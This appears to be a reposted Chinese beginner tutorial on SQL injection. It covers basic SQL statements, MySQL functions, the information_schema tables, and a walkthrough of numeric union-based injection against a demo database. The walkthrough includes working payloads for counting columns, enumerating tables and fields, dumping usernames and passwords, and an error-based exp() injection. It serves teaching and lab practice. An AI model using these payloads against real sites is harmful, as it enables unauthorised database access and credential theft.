sql注入基础
程序员文章站
2022-11-20 15:54:16
附:sql语句增: INSERT INTO table name (列1,列2)VALUES(值1,值2);删:DELETE FROM 表名 WHERE 列名=值;改:UPDATE 表名 SET 列名=新值 WHERE 列名=某值;查:SELECT 列名 FROM 表名 WHERE 字段1='条件1' AND 字段2='条件2' ;常用函数及命令关键字user() //查看当前用户名limit m,n //从m行开始,到m+n行rand()//...
附:sql语句
增: INSERT INTO table name (列1,列2)VALUES(值1,值2);
删:DELETE FROM 表名 WHERE 列名=值;
改:UPDATE 表名 SET 列名=新值 WHERE 列名=某值;
查:SELECT 列名 FROM 表名 WHERE 字段1='条件1' AND 字段2='条件2' ;
常用函数及命令关键字
user() //查看当前用户名
limit m,n //从m行开始,到m+n行
rand() //返回0-1随机数
group by //对数据进行分组(相同为一组)
database() //查看当前使用mysql数据库
version() //查看当前MySQL版本
MID('xxx',1,2) //截取函数:截取xxx从第一位开始截2
floor() //报错函数 返回小于等于该值的最大整数
exp(~(select * from (select version() ) a) //报错注入
Mysql 基础知识
数据库:information_schema(存放数据库元信息)
其中三张常用的表
schemata (存放数据库名)
tables (存放表名)
columns(存放字段名)
schemata表:
schema_name字段用来存储数据库名
tables表:
table_schema(数据库名)
table_name(表名)
columns表:
table_schema(数据库名)
table_name(表名)
column_name(字段名)
下图为三张表示例
schemata
tables
columns
sql注入
当有不可信数据作为查询语句的一部分发送给解释器时,攻击者的恶意数据欺骗解释器以执行计划外的命令或访问数据。
一、联合查询-数字型注入
如下图所示:下面演示通过联合查询的方法从jokedb数据库中读取user表的信息
通过输入id值1,2可以看出页面有回显(显示不同内容)可以尝试使用联合查询的方法进行注入
输入单引号页面出现报错 根据报错信息提示该注入为数字型注入
通过order by 根据回显查询数据库中表的字段数
由下图可知当输入4时回显正常输入5时出现报错
可知当前表的字段数为4
通过union select 联合查询 使用占位数字列出当前字段
使用函数version(),database()替换占位数字
回显出数据库版本信息和名称 可判断该处存在sql注入点
使用查询语句查询当前数据库下所有的表
union select 1,2,3,table_name from information_schema.tables where table_schema =database()
找到可能出先所需要的数据的user表列出该表下的所有字段
union select 1,2,3,column_name from information_schema.columns where table_schema ='jokedb' and table_name='users'
找到user和pass字段 通过查询语句显示其内容
union select 1,user,3,pass from users
本文地址:https://blog.csdn.net/Jaasenyi/article/details/107652805